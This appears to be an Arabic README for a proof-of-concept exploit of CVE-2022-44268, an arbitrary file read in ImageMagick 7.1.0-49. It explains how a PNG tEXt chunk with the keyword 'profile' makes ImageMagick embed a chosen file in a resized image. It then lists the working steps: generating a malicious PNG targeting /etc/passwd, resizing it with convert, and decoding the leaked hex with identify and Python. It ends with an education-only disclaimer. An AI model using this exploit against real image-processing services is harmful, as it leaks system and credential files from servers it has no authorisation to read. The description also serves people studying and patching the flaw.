
PoC لقراءة الملفات العشوائية في ImageMagick
يحتوي هذا المستودع على إثبات المفهوم (POC) لثغرة أمنية في ImageMagick (الإصدار 7.1.0-49)، وهي مكتبة مفتوحة المصدر واسعة الاستخدام لمعالجة الصور. تتيح هذه الثغرة للمهاجم تضمين محتوى ملف تعسفي داخل صورة تم تغيير حجمها عند قيام ImageMagick بتحليل ملف PNG.
عندما يقوم ImageMagick بعمليات مثل تغيير الحجم على ملف PNG، فقد يتضمن محتوى ملف نظام، بشرط أن يكون للثنائي magick الأذونات اللازمة لقراءته. تنشأ هذه الثغرة بسبب سوء التعامل مع أجزاء النص داخل ملفات PNG.
يمكن للمهاجم استغلال هذه الثغرة عن طريق إنشاء ملف PNG أو استخدام ملف موجود وإضافة جزء نصي من النوع (tEXt). تتكون هذه الأجزاء من كلمة مفتاحية وسلسلة نصية. في هذه الحالة، إذا تطابقت الكلمة المفتاحية مع السلسلة "profile" (بدون علامات اقتباس)، فإن ImageMagick سيفسر السلسلة النصية المصاحبة كاسم ملف ويحاول تحميل محتواها كملف تعريف خام (raw profile). ونتيجة لذلك، عند تنزيل الصورة التي تم تغيير حجمها، ستحتوي على محتوى الملف البعيد الذي حدده المهاجم.
لمزيد من المعلومات، راجع هذه المقالة من MetabaseQ.
لاستغلال ImageMagick، قم بإنشاء ملف png خبيث:
python3 CVE-2022-44268.py /etc/passwd # Create output.png
ثم قم بتشغيل عملية تغيير الحجم باستخدام convert:
convert output.png -resize 50% leak.png
أخيرًا، افحص الصورة المسرّبة وقم بتحويل Raw profile إلى نظام سداسي عشري (hex):
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
ملاحظة: إثبات المفهوم هذا مخصص لأغراض تعليمية وإعلامية فقط. يرجى التأكد من أن لديك الأذونات والتفويض القانوني اللازمين قبل اختبار أو استخدام إثبات المفهوم هذا على أي نظام.